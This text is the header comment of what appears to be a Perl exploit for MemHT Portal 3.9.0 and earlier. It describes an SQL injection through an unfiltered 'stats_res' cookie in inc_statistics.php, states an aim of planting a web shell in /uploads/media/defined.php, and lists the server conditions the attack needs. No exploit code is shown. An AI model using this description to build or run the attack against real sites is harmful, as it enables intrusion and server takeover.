# MemHT Portal <= 3.9.0 Perl exploit

#
# DESCRIPTION:
# Script /inc/inc_statistics.php accepts unfiltered $_COOKIE's,
# ($_COOKIE['stats_res']) which later goes to MySQL request. So we are able to make
# sql injection.
# This exploit tries to create shell in /uploads/media/defined.php.
#
# NEEDED:
# magic_quotes_gpc = off
# MySQL should be able to write to file
# Know full server path to portal
